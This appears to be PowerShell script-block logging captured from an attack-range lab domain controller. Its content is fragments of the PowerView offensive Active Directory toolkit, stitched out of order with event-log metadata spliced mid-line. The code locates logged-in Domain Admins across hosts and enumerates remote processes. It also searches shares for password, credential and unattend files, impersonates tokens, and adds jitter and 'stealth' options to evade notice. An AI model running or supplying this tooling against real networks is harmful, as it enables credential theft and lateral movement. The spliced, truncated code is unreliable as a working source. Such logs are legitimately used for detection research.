if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109919Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3341[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109918Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3241m set in the title.
.EXAMPLE
Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {
# find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
$MappedComputers = @{}
function Test-Write {
# short helper to check is the current user can write to a file
[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {
# check if we're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose "Excluding: $($_.FullName)"
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
